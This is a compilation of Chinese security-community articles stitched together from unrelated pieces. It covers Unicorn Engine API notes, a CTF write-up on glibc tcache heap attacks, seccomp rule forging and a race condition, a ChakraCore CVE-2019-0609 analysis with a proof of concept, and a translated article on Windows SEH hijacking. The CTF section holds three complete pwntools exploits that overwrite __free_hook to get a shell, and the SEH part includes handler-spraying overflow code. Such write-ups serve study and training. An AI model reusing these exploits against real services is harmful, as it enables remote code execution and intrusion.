UC_ERR_MAP UC_HOOK_MEM_VALID UC_MODE_PPC32 uc_version
UC_ERR_MODE UC_HOOK_MEM_WRITE UC_MODE_PPC64 unicorn
UC_ERR_NOMEM UC_HOOK_MEM_WRITE_INVALID UC_MODE_QPX unicorn_const
UC_ERR_OK UC_HOOK_MEM_WRITE_PROT UC_MODE_SPARC32 version_bind
UC_ERR_READ_PROT UC_HOOK_MEM_WRITE_UNMAPPED UC_MODE_SPARC64 x86_const
UC_ERR_READ_UNALIGNED UC_MEM_FETCH UC_MODE_THUMB
UC_ERR_READ_UNMAPPED UC_MEM_FETCH_PROT UC_MODE_V8
UC_ERR_RESOURCE UC_MEM_FETCH_UNMAPPED UC_MODE_V9
来自unicorn.x86_const的一些Constant示例：
`UC_X86_REG_EAX`
`UC_X86_REG_RIP`
`UC_X86_REG_RAX`
`mu = Uc(arch, mode)` —— 获得一个Uc类的实例，在这里可以指定架构。
举例来说：
`mu = Uc(UC_ARCH_X86, UC_MODE_64)` 获得一个x86-64架构的Uc实例。
`mu = Uc(UC_ARCH_X86, UC_MODE_32)` 获得一个x86-32架构的Uc实例。
`mu.mem_map(ADDRESS, 4096)` 映射一个内存区域。
`mu.mem_write(ADDRESS, DATA)` 将数据写入内存。
`tmp = mu.mem_read(ADDRESS, SIZE)` 从内存中读取数据。
`mu.reg_write(UC_X86_REG_ECX, 0x0)` 将寄存器重新赋值。
`r_esp = mu.reg_read(UC_X86_REG_ESP)` 读取寄存器的值。
`mu.emu_start(ADDRESS_START, ADDRESS_END)` 开始模拟。
指令跟踪：
def hook_code(mu, address, size, user_data):
print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size))
mu.hook_add(UC_HOOK_CODE, hook_code)
这段代码添加了一个钩子。我们定义了函数hook_code，在模拟每个指令之前调用，该函数需要以下参数：
1、Uc实例
2、指令的地址
3、指令的大小
4、用户数据（我们可以在hook_add()的可选参数中传递这个值）
##
## 参考资料
1. 关于Unicorn Engine的基本介绍：
<http://www.unicorn-engine.org/BHUSA2015-unicorn.pdf>
2. Oh look, there are bindings for many languages：
<https://github.com/unicorn-engine/unicorn/tree/master/bindings>
3. Unicorn Engine参考：
<https://hackmd.io/s/rJTUtGwuW#>
4. 官方UE教程：
<http://www.unicorn-engine.org/docs/tutorial.html> | 社区文章 |
这里是把自己学习过程中掌握到的一些技巧做个分享，希望对大家有帮助，能一起学习成长。
### 一、Tcache攻击
#### 前言：
之前打比赛一直都是做ubuntu16.04的，很少做ubuntu18下的（有tcache机制），护网杯有道题是libc-2.27.so，我一开始不会做tcache，学了一晚上，理解了基础的原理和攻击方式，这里做个小小的总结。
首先是tcache的原理，这个在ctfwiki上讲的挺透彻的，这里做个复习。
#### 1、重点需要理解的2个函数：
#堆块free后放入tcache
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
#就是一个头插法，可以看到几乎没有任何的检查，那么可以double free，还更简单
#从tcache中取出堆块
static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
#从头部取出堆块
通过读源码，我们可以理解到，tcache的机制大概就是，他是类似fastbin的单链表，但是check只检查next是否为空，并不检查size，而且指针直接指向的是string块(意味着任意地址写)，一个数组下标能容纳7个堆块，堆块的大小最大是0x408，超过的会被放到unsorted
bin中，它的插入方式也是和栈一样，后进先出，总是在链表头操作插入和取出，这里用代码演示下：
malloc(0x20,'a\n')
malloc(0x40,'c\n')
malloc(0x50,'d\n')
malloc(0x50,'dddd\n')
malloc(0x70,'e\n')
malloc(0x100,'f\n')
malloc(0x200,'g\n')
malloc(0x200,'g\n')
malloc(0x200,'g\n')
malloc(0x200,'g\n')
malloc(0x200,'g\n')
malloc(0x200,'g\n')
malloc(0x200,'g\n')
malloc(0x200,'g\n')
malloc(0x200,'g\n')
for i in range(14):
free(i)
这样就能理解，tcache是直接链接内容块，而不是size那个地址，然后是0x8到0x408大小的堆块都可以作为结构体数组的一个下标(自己会根据size对齐)，所以数组还是挺大的，当相同大小的堆块填满7个后，就会根据实际的大小放到其他的bins中，这是和2.23一样的了，比如，0x210那个，填满7个堆块，就会放到unsortedbin中。这里再次利用时，只要tcache中有满足条件的堆块，就会直接使用tcache，因为是最快的(牺牲了check，速度换安全)
#### 2、知道了tcache的原理后，下面是攻击方式的演示
1、改变FD指针，这种很常见，也是最简单的一种攻击(利用它不检查size大小，任意地址写),后面的讲解中会多次题目接触，这里就先不展开了。
2、double free(老版本有，新版本有检查，所以被禁用了，但是可以通过overlapping heap chunk来实现double free)
3、house of spirit（这里只需要一个可控区域即可，还要能覆盖堆地址），因为tcache不检查next chunk的size位，很方便。
这里介绍下overlap_heap_chunk的利用（我叫它夹心饼攻击）：
先讲大概的利用思路：
1、先实现unsortd bin 分配（tcache机制）
2、夹心饼攻击（free1——>used2——>used3），通过used2的溢出，伪造好used3的preszie为前面2个的大小，used3的pre_inuse为0(使得used2为free状态，可以通过offbynull来实现)，接着再free掉used3，即可实现unlink合并到free1，此时free1的大小为3个chunk的大小，切割1次，出去used1，切割第二次，得到used2，这样我们就有了2个used2，但是id不同，那么就可以实现double
free了，接着就好做了。
3、house of spirit（不检查next的size，所以只需要一个可控区域即可，同时需要满足能覆盖堆地址）
#### *下面通过一道题来了解下tcache的机制以及利用：
easy_heap
保护全开(后期习惯就好)，直奔ida主逻辑：
正常的puts函数、exit函数和free函数，没有什么漏洞点，重点是malloc函数：
这个read_content就是漏洞点函数，可看到对于输入的限制是不能为空字节，且结束了输入会将最后一个字节置为null，很明显的offbynull漏洞，一般的思路就是unlink攻击，改0x101为0x100(申请大小为0xf8)，但是现在没有堆地址和真实地址，还开了pie，比较难搞。这里就要用到unsorted
bin中的一些知识和技巧了（overlap chunk触发double free）
重点是堆块布局，也就是我们说的夹心饼攻击！
1、脑子里先想好堆块的布局，这里堆块只有10块，7个tcache和3个unsorted
bin的堆块，我们利用unlink过程中自动写pre_size来获得有\x00的大小（无法自己写入，只能用系统写入的方式）
clear_tcache(10,0x2,'a')
fill_tcache(3,10)
free(0)
free(1)#pre100
free(2)#pre200
clear_tcache(7,0x2,'b')
malloc(0x2,'7')
malloc(0x2,'8')#pre100
malloc(0x2,'9')#pre200
2、由于大小是0x101，所以首先得有1个堆块在unsorted
bin中，然后另外2个在unsorted中是used状态，其中第二个堆块要实现offbynull使得第三个堆块认为它是free状态，而第三个堆块的pre_size是0x200，从而构造好了夹心饼攻击的条件了,然后让第三个堆块释放后在unsortedbin中，实现overlap
chunk
fill_tcache(0,7)
free(7)
clear_tcache(7,0x2,'d')
free(9)
free(8)
malloc(0xf8,'t')
malloc(0x2,'u')
fill_tcache(0,7)
free(8)
3、再次切出来就能再次得到那个unsorted bin的2号堆块，就可以泄露地址了
clear_tcache(7,0x2,'k')
malloc(0x4,'eight')
puts(7)
4、最后double
free，但是因为申请个数不够，所以还得free8个，然后申请7个清空tcache，才能有机会让free_hook被申请到，直接覆盖为onegadget，直接打。这里system打不通，因为free时，有个memset(0)的清空操作。
malloc(0x5,'night')
free(7)
free(9)
malloc(0x10,p64(free_hook))
malloc(0x10,p64(free_hook))
fill_tcache(0,8)
clear_tcache(7,0x2,'o')
malloc(0x10,p64(onegadget))
free(9)
完整的exp：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./easy_heap')
if local:
p = process('./easy_heap')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size,content):
ru("which command?\n> ")
sl('1')
ru("size \n> ")
sl(str(size))
ru("content \n> ")
sl(content)
def free(index):
ru("which command?\n> ")
sl('2')
ru("index \n> ")
sl(str(index))
def puts(index):
ru("which command?\n> ")
sl('3')
ru("index \n> ")
sl(str(index))
def fill_tcache(start,end):
for i in range(start,end):
free(i)
def clear_tcache(number,size,content):
for i in range(number):
malloc(size,content)
clear_tcache(10,0x2,'a')
fill_tcache(3,10)
free(0)
free(1)#pre100
free(2)#pre200
clear_tcache(7,0x2,'b')
malloc(0x2,'7')
malloc(0x2,'8')
malloc(0x2,'9')
fill_tcache(0,7)
free(7)
clear_tcache(7,0x2,'d')
free(9)
free(8)
malloc(0xf8,'t')
malloc(0x2,'u')
fill_tcache(0,7)
free(8)
clear_tcache(7,0x2,'k')
malloc(0x4,'eight')
puts(7)
malloc_hook = u64(rc(6).ljust(8,'\x00')) - 0x60 - 0x10
print "malloc_hook--->" + hex(malloc_hook)
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
onegadget = libc_base + 0x4f322
malloc(0x5,'night')
free(7)
free(9)
malloc(0x10,p64(free_hook))
malloc(0x10,p64(free_hook))
fill_tcache(0,8)
clear_tcache(7,0x2,'o')
malloc(0x10,p64(onegadget))
free(9)
#debug(0)
p.interactive()
getshell：
### 二、 沙箱规则
#### 前言：
之前一直看到过prctl函数，但是不知道它是干嘛的，只是听师兄说可以禁用掉execve函数，就没有system和onegadget了，在byteCTF中终于见证了一次，这次是沙箱规则的熟悉，趁机学习一波。
#### 1、prctl 函数
先来看下函数的原型：
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
这里有5个参数，重点看option就知道它是想干嘛，这里主要关注2点：
PR_SET_NO_NEW_PRIVS(38)
PR_SET_SECCOMP(22)
我们通俗易懂地理解就是，prctl(38, 1LL, 0LL, 0LL,
0LL)表示禁用系统调用，也就是system和onegadget都没了,还会教子进程也这么干，很坏；而prctl(22，2)表示设置沙箱规则，从而可以实现改变函数的系统调用（通行或者禁止），这次重点研究沙箱规则，设置
seccomp ，其实也就是设置沙箱规则，这个 option 有两个子参数：
1、SECCOMP_MODE _STRICT(1)：允许线程进行的唯一系统调用是read（2），write（2），_
exit（2）（但不是exit_group（2））和sigreturn（2）。
2、SECCOMP_MODE_FILTER(2) (since Linux 3.5)：允许的系统调用由指向arg3中传递的Berkeley Packet
Filter的指针定义。 这个参数是一个指向struct sock_fprog的指针; 它可以设计为过滤任意系统调用和系统调用参数,看下源码：
struct sock_filter { /* Filter block */
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};
struct sock_fprog { /* Required for SO_ATTACH_FILTER. */
unsigned short len; /* Number of filter blocks */
struct sock_filter *filter;
};
#### 2、我们构造的沙箱规则其实就是覆盖sock_filter来实现，这里通过一个vip的题目介绍一个书写沙箱规则的神器seccomp-tools
([https://github.com/david942j/seccomp-tools>](https://github.com/david942j/seccomp-tools>))
先来看下程序：看库可以知道是2.27的，tcache攻击即可。
保护很一般，看下ida：
常规菜单题，这里malloc是固定大小0x50，然后可以申请15个堆块，正常的free和puts和exit，但是edit这里有东西：
可以看到content中有任意大小泄露
这是read我们的content到堆块中，但是很明显0x4040E0是0，而且不太可能改变这个值，这样就会导致随机数的写入，为了实现任意大小写入，我们需要让fd返回0，也就是说禁用open函数，让它返回0，从而达到目的。
我们来看下vip有什么玄机：
这里看到有prctl函数，又看到了seccomp函数，很明显是禁用了某些函数，
同时有沙箱规则在里面，而且v1指针指向的正是我们的sock_filter结构体，通过read到buf中的数据，我们可以覆盖结构体的内容(只能覆盖0x30空间)，实现沙箱规则的伪造，下面正式开始介绍工具：
//首先看下dump（查看seccomp保护下的情况），使用命令：
seccomp-tools dump ./文件名
看程序禁用的可以知道，它只允许write、read、open、exit函数，以结构体的形式展示
也可以用字符的形式展示：
seccomp-tools dump ./文件名 -f inspect
下面构造沙箱规则：
A = sys_number
A==openat ? next:ok
A=args[1]
A==0x40207e ? next:ok
return ERRNO(0)
ok:
return ALLOW
//将规则转成字符形式
seccomp-tools asm 文件名.asm
//转成汇编代码
seccomp-tools asm 文件名.asm -f assembly
//转成C语言代码
seccomp-tools asm 44.asm -f c_source
//将规则转成结构体形式
seccomp-tools asm 文件名.asm -f raw | seccomp-tools disasm -
当然还有disasm和emu功能~自己去探索吧
有个规则，写入即可，接着我们就可以任意溢出了，这里overlap创造出unsorted
bin，泄露出真实地址，这里直接修改FD为free_hook，直接打system即可getshell
exp：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./vip')
if local:
p = process('./vip')
libc = elf.libc
else:
p = remote('112.126.103.14',9999)
libc = ELF('./libc-2.27.so')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def edit(index,size,content):
ru("Your choice: ")
sl('4')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(content)
def free(index):
ru("Your choice: ")
sl('3')
ru("Index: ")
sl(str(index))
def malloc(index):
ru("Your choice: ")
sl('1')
ru("Index: ")
sl(str(index))
def puts(index):
ru("Your choice: ")
sl('2')
ru("Index: ")
sl(str(index))
def vip(py):
ru("Your choice: ")
sl('6')
ru("OK, but before you become vip, please tell us your name: ")
sd(py)
for i in range(13):
malloc(i)
py = 'a'*0x20 + " \x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x03\x01\x01\x00\x00 \x00\x00\x00\x18\x00\x00\x00\x15\x00\x00\x01~ @\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F"
vip(py)
py = ''
py += 'a'*0x50
py += p64(0) + p64(0x421)
edit(0, 0x60, py)
free(1)
malloc(12)
puts(12)
malloc_hook = u64(rc(6).ljust(8,'\x00')) -1104 -0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols["__free_hook"]
onegadget = libc_base + 0x10a38c
print "malloc_hook--->" + hex(malloc_hook)
free(5)
py = ''
py += 'a'*0x50
py += p64(0) + p64(61)
py += p64(free_hook)
edit(4,0x70,py)
malloc(13)
malloc(14)
edit(14, 0x20, p64(system))
edit(7,0x20,'/bin/sh\x00')
free(7)
p.interactive()
### 三、竞争条件
#### 1、概念前言
这里打CTF第一次遇到这种题目，也积累下知识和经验，首先理解下条件竞争的含义和概念。竞争条件是系统中的一种反常现象，由于现代Linux系统中大量使用并发编程，对资源进行共享，如果产生错误的访问模式，便可能产生内存泄露，系统崩溃，数据破坏，甚至安全问题。竞争条件漏洞就是多个进程访问同一资源时产生的时间或者序列的冲突，并利用这个冲突来对系统进行攻击。一个看起来无害的程序如果被恶意攻击者利用，将发生竞争条件漏洞。
#### 2、理解和加深
纸上谈来终觉浅，我们用代码和图像来直接理解：
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
int i = 1;
void *mythread1()
{
if(i == 1){ <a>
sleep(3);
if(i == 2) <b>
printf("hack it!\n");
else
printf("try again!\n");
}
}
void *mythread2()
{
sleep(1);
i=2;
}
int main(int argc, const char *argv[])
{
pthread_t id1,id2;
pthread_create(&id1, NULL, (void *)mythread1,NULL);
pthread_create(&id2, NULL, (void *)mythread2,NULL);
pthread_join(id1,NULL);
pthread_join(id2,NULL);
return 0;
}
程序逻辑很简单，创建2个线程，然后第一个睡了3s后再继续执行，第二个睡了1s就继续执行，这里就是很明显的竞争条件，id2会趁着id1睡着时去改i的数据，这样就会回显出hack
it(正常不发生竞争条件的话，是回显try again)。不理解的话，我们再用图像来解释：
理解完了什么是条件竞争，在CTF的比赛中，pwn方向也会出现这样的题目，这里就实战总结下。
#### 3、实战总结
题目：强网杯pwn1
保护全开，然后给了个2.27的库（tcache攻击），直接分析ida：
熟悉的菜单题，3个功能，下面一个个分析：
1、malloc
正常的申请，idx下标没有检查，意味着有负数的机会(一个漏洞点)，申请的堆块是0xA0的固定大小，内容也是申请的0xA0的大小，内容就在堆块本身，所以chunk的结构就出来了：
struct chunk{
int size；
string string；
}
再看看free函数：
这里对idx进行了检查，同时没有UAF的漏洞（null置为了0）
最后看下神秘的run函数：
看到了线程创建，猜想有可能是竞争条件或者TLS攻击的栈溢出，进去看看
功能就是输入key作为堆块内容异或加密的值，然后输出异或加密的内容，主要注意到sleep(3)，这是一个很明显的提示（竞争条件）意味着run函数执行到一半，sleep了，然后后面的函数会先执行，之后再回来执行睡醒的run函数，写个代码理解下：
malloc(0,'AAAAAAAA') 1
run(0,key) 3
free(0) 2
很清晰可以看到执行顺序为1,3,2。知道了这个漏洞接下来的事情就好办了，思路马上有了：
1、先泄露出真实地址(异或0得到本身），因为申请的堆块刚好是unsortd bin 大小
2、利用条件竞争先free再在FD中伪造fake_chunk为free_hook
3、申请2次，改free_hook为system，free掉一个有/bin/sh\x00的堆块既可getshell
上exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(index,content,flag=1):
if flag:
ru("3.run")
sl('1')
ru("index:")
sl(str(index))
ru("content:")
sd(content)
def free(index):
ru("3.run")
sl('2')
ru("index:")
sl(str(index))
def fun(index,key):
ru("3.run")
sl('3')
ru("index:")
sl(str(index))
ru("input key:")
sl(str(key))
for i in range(10):
malloc(i,'/bin/sh\x00')
for i in range(7):
free(i)
free(7)
for k in range(7):
malloc(k,'/bin/sh\x00')
malloc(10,'aaaaaaaa')
fun(10,0)
ru("aaaaaaaa")
malloc_hook = u64(rc(6).ljust(8,'\x00')) - 96 - 0x10
print "malloc-->" + hex(malloc_hook)
libc_base = malloc_hook - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols["system"]
ru("done")
sl('2')
ru("index:")
sl('8')
malloc(11,'\x00'*8)
fun(11,free_hook)
free(11)
ru('done')
#接收到done表示3s过去了，run执行完了
malloc(11,'/bin/sh\x00',0)
malloc(12,p64(system))
free(11)
p.interactive()
getsehll:
### 四、IO_File结构体与攻击方法
(待更新.......) | 社区文章 |
# 简介
如果有用户想通过手机或电脑查看web页面，就会使用web浏览器。而所有主流的商用web浏览器都实现了自己的JavaScript引擎来支持客户端脚本语言来与客户端进行动态交互。这也是JavaScript引擎成为黑客和安全研究人员目标的原因。
本文将介绍Edge浏览器JavaScript引擎
ChakraCore中存在的安全漏洞——CVE-2019-0609。虽然该漏洞的根源并不复杂，但该来的很难发现和追踪。
# 漏洞分析
## 初步分析
首先看一下debug build中的PoC来分析assertion：
ASSERTION 264714: (/home/soyeon/jsfuzz/js-static/engines/chakracore-1.11.3/lib/Runtime/Library/StackScriptFunction.cpp, line 249) stackFunction->boxedScriptFunction == boxedFunction
Failure: (stackFunction->boxedScriptFunction == boxedFunction)
[1] 264714 illegal hardware instruction ~/jsfuzz/js-static/engines/chakracore-1.11.3/out/Debug/ch 35977387.js
## Boxing in JavaScript
如果你在全局代码或函数中声明了一个对象，比如Number或Function，正常情况下就会在栈上进行分配。但有些特殊的情况下要在堆上进行分配，比如用不同的指针引用相同对象，或对象的范围逃逸。如果一个在栈中分配的函数返回了，函数就会被box来避免范围逃逸。这在JS中可能会发生，因为函数是JS中的第一类对象。
function test() {
function stackFun(){}
function heapFun(){print("hi!");}
return heapFun;
}
test()();
// output : hi!
在上面的代码中， `function stackFun` 和 `heapFun` 会在声明中定位到栈。 `function
heapFun`会移动到堆中来避免指向函数test在栈中的地址，因为它会返回函数test的外部。JS引擎会将对从对象从栈移到堆的行为就叫做boxing。这与java中boxing的概念是类似的。
## assertion
根据boxing的概念，研究人员推断`scriptFunction`需要boxing但是失败了。更多详情参见`lib/Runtime/Library/StackScriptFunction.cpp`中的`StackScriptFunction::BoxState::Box`中关于assertion的代码。
StackScriptFunction *stackFunction = interpreterFrame->GetStackNestedFunction(i);
ScriptFunction *boxedFunction = this->BoxStackFunction(stackFunction);
Assert(stackFunction->boxedScriptFunction == boxedFunction);
this->UpdateFrameDisplay(stackFunction);
在上面的代码中，会尝试box
stackFunction，并检查函数是否会通过assertion来box。Assertion表检查明它并不是真正的box。根据gdb，研究boxedFunction表明`stackFunction`在栈上，`boxedScriptFunction`
是`nullptr`。正常情况下，会指向`boxedFunction`。
Stopped reason: SIGILL
0x0000555558a9be2f in Js::StackScriptFunction::BoxState::Box (this=0x7ffffffe2540) at /home/soyeon/jsfuzz/js-static/engines/chakracore-1.11.5/lib/Runtime/Library/StackScriptFunction.cpp:249
249 Assert(stackFunction->boxedScriptFunction == boxedFunction);
$ print boxedFunction
$1 = (Js::ScriptFunction *) 0x7ff7f024fff8
$ print stackFunction
$2 = (Js::StackScriptFunction *) 0x7ff7f024fff8
$ print stackFunction->boxedScriptFunction
$3 = (Js::ScriptFunction *) 0x0
下面检查中发生的`BoxStackFunction`函数。
# boxing栈函数为什么失败
下面是`StackScriptFunction::BoxState::BoxStackFunction`的代码。
710 ScriptFunction * StackScriptFunction::BoxState::BoxStackFunction(ScriptFunction * scriptFunction)
711 {
712 // Box the frame display first, which may in turn box the function
713 FrameDisplay * frameDisplay = scriptFunction->GetEnvironment();
714 FrameDisplay * boxedFrameDisplay = BoxFrameDisplay(frameDisplay);
715
716 if (!ThreadContext::IsOnStack(scriptFunction))
717 {
718 return scriptFunction;
719 }
...
748 boxedFunction = ScriptFunction::OP_NewScFunc(boxedFrameDisplay,
749 reinterpret_cast<FunctionInfoPtrPtr>(&functionInfo));
750 stackFunction->boxedScriptFunction = boxedFunction;
如果scriptFunction 并不在栈中，函数并不会box
scriptFunction，只是返回了scriptFunction。这是因为BoxStackFunction想要避免box
scriptFunction，scriptFunction已经被box了，并且不存在栈中。但该函数应该位于栈中，是
StackScriptFunction。这让人怀疑栈变量分配的过程。
研究人员在`lib/Runtime/Language/InterpreterStackFrame.cpp: Var
InterpreterStackFrame::InterpreterHelper`中发现一些线索。
if (varAllocCount > InterpreterStackFrame::LocalsThreshold)
在为函数分配栈时，引擎首先会检查本地变量的空间是否超过阈值（`InterpreterStackFrame::LocalsThreshold`）。如果是这样的话，引擎就会分配一个私有作为栈，而不是使用已有的原生栈。但范围分析是通过`ThreadContext::IsOnStack`实现的，并没有把私有区域作为栈框架。因此，私有区域的栈函数并不会被box，可以逃逸出原有的范围。
该函数被破坏后，栈就会被un-mapped。但非box的函数仍然指向原来的栈空间，最终会导致use-after-unmap漏洞。
# 补丁分析
下面是ChakraCore 1.11.7中发布的 CVE-2019-0609补丁。
if (stackVarAllocCount != 0)
+ {
+ size_t stackVarSizeInBytes = stackVarAllocCount * sizeof(Var);
+ PROBE_STACK_PARTIAL_INITIALIZED_INTERPRETER_FRAME(GetScriptContext(), Js::Constants::MinStackInterpreter + stackVarSizeInBytes);
+ stackAllocation = (Var*)_alloca(stackVarSizeInBytes);
+ }
在补丁中，引擎首先会将`stackVarAllocCount`作为`stackScriptFunction`的数来计算是否需要box。然后通过
`_alloca`将`stackScriptFunctions`移到堆中。
# PoC
下面是漏洞CVE-2019-0609的PoC代码。[big-size object]应该有足够大的初始化成员数来超过阈值来分配私有于去作为函数的栈。
function test() {
function a() {
function d() {
let e = function() {};
return e;
}
function b() {
let fun_d = [d];
return fun_d;
}
var obj = [big-size object]
return b();
}
return a();
}
var f = test();
function test1() {
var obj = [big-size object] // reallocate for use-after-unmap.
print(f[0]); // function d still points the address on stack as it is not boxed.
}
test1();
<https://gts3.org/2019/cve-2019-0609.html> | 社区文章 |
# Windows内存破坏漏洞的现代探索，Part I：堆栈溢出（二）
|
##### 译文声明
本文是翻译文章，文章原作者 forrest-orr，文章来源：forrest-orr.net
原文地址：<https://www.forrest-orr.net/post/a-modern-exploration-of-windows-memory-corruption-exploits-part-i-stack-overflows>
译文仅供参考，具体内容表达以及含义原文为准。
在上一篇文章中，我们为读者介绍了堆栈溢出漏洞，以及当前系统提供的针对该类漏洞的缓解措施，在本文中，我们将继续为读者详细介绍SEH劫持技术。
## SEH劫持技术
进程中的每个线程都可以注册handler函数（默认情况下也是如此），以便在触发异常时进行调用。这些handler函数的指针通常存储在堆栈上的EXCEPTION_REGISTRATION_RECORD结构体中。在任何版本的Windows上启动一个32位应用程序时，都至少会注册一个这样的handler，并将相关数据存储在堆栈中，具体如下图所示：
图6 在线程初始化过程中，NTDLL默认注册的一个SEH帧
上面高亮显示的EXCEPTION_REGISTRATION_RECORD结构体包含一个指向下一个SEH记录的指针（也存储在堆栈上），后面是指向handler函数的指针（在本例中是NTDLL.DLL库中的函数）。
typedef struct _EXCEPTION_REGISTRATION_RECORD {
PEXCEPTION_REGISTRATION_RECORD Next;
PEXCEPTION_DISPOSITION Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
在内部，指向SEH
handler列表的指针都存储在每个线程的TEB的偏移量0处，并且每个EXCEPTION_REGISTION_RECORD都链接到下一个。如果handler不能正确处理抛出的异常，它会将执行权移交给下一个handler，以此类推。
图7 SEH链的堆栈布局
因此，SEH实际上为攻击者提供了绕过堆栈Cookie的理想方法。我们可以利用堆栈溢出，覆盖现有的SHE
handler(肯定至少会有一个)，然后让应用程序崩溃(考虑到我们有能力破坏堆栈内存，这肯定不在话下)。这将导致在易受攻击函数最后调用__SECURITY_CHECK_COOKIE之前，EIP被重定向到EXCEPTION_REGISTION_RECORD结构体中被覆盖后的handler地址。因此，在执行shellcode之前，应用程序根本没有机会发现其堆栈已被破坏。
#include
#include
#include
void Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) {
char Buf[16] = { 0 };
memcpy(Buf, pInputBuf, dwInputBufSize);
}
EXCEPTION_DISPOSITION __cdecl FakeHandler(EXCEPTION_RECORD* pExceptionRecord, void* pEstablisherFrame, CONTEXT* pContextRecord, void* pDispatcherContext) {
printf("... fake exception handler executed at 0x%p\r\n", FakeHandler);
system("pause");
return ExceptionContinueExecution;
}
int32_t wmain(int32_t nArgc, const wchar_t* pArgv[]) {
uint32_t dwOverflowSize = 0x20000;
uint8_t* pOverflowBuf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, dwOverflowSize);
printf("... spraying %d copies of fake exception handler at 0x%p to the stack...\r\n", dwOverflowSize / 4, FakeHandler);
for (uint32_t dwOffset = 0; dwOffset < dwOverflowSize; dwOffset += 4) {
*(uint32_t*)&pOverflowBuf[dwOffset] = FakeHandler;
}
printf("... passing %d bytes of data to vulnerable function\r\n", dwOverflowSize);
Overflow(pOverflowBuf, dwOverflowSize);
return 0;
}
图8 用自定义的SEH handler喷射堆栈，覆盖现有的EXCEPTION_REGISTRATION_RECORD结构体
图9 溢出堆栈并覆盖现有默认SEH handler EXCEPTION_REGISTRATION
我们得到的不是EXE中FakeHandler函数上的断点，而是得到一个STATUS_INVALID_EXCEPTION_HANDLER异常(代码0xC00001A5)。这是一个源于SafeSEH的安全缓解异常。SafeSEH是一个安全缓解措施，仅适用于32位PE文件。在64位PE文件中，一个名为IMAGE_DIRECTORY_ENTRY_EXCEPTION的永久性（非可选）数据目录取代了原来在32位PE文件中的IMAGE_DIRECTORY_ENTRY_RIGHT数据目录。SafeSEH与GS特性都是在Visual
Studio 2003版本中发布的，随后在Visual Studio 2005版本中成为了默认设置。
什么是SafeSEH，它是如何工作的？
1. 在Visual Studio 2019中，SafeSEH是默认设置的。它通过使用/SAFESEH标志进行配置，我们可以在Project -> Properties -> Linker -> Advanced -> Image Has Safe Exception Handlers中进行相应的设置。
2. SafeSEH编译的PE文件含有一个有效的SEH handler地址列表，位于名为SEHandlerTable的表中，我们可以在其IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG数据目录中指定。
3. 每当触发异常时，在执行EXCEPTION_REGISTRATION_RECORD链表中的每个handler的地址之前，Windows会检查该handler是否位于映像内存的范围内（表明它与加载的模块有关），如果是的话，就会用它的SEHandlerTable检查这个handler地址对有关模块是否有效。
在图8中，我们是通过堆栈溢出的方式来注册handler的，通过这种方式创建的handler是无法被编译器所识别的（因此，也不会添加到SEHandlerTable中）。通常情况下，编译器会将作为__try
__except语句的副作用而创建的handler添加到这个表中。在禁用SafeSEH后，再次运行这段代码会导致堆栈溢出，执行被喷入的handler。
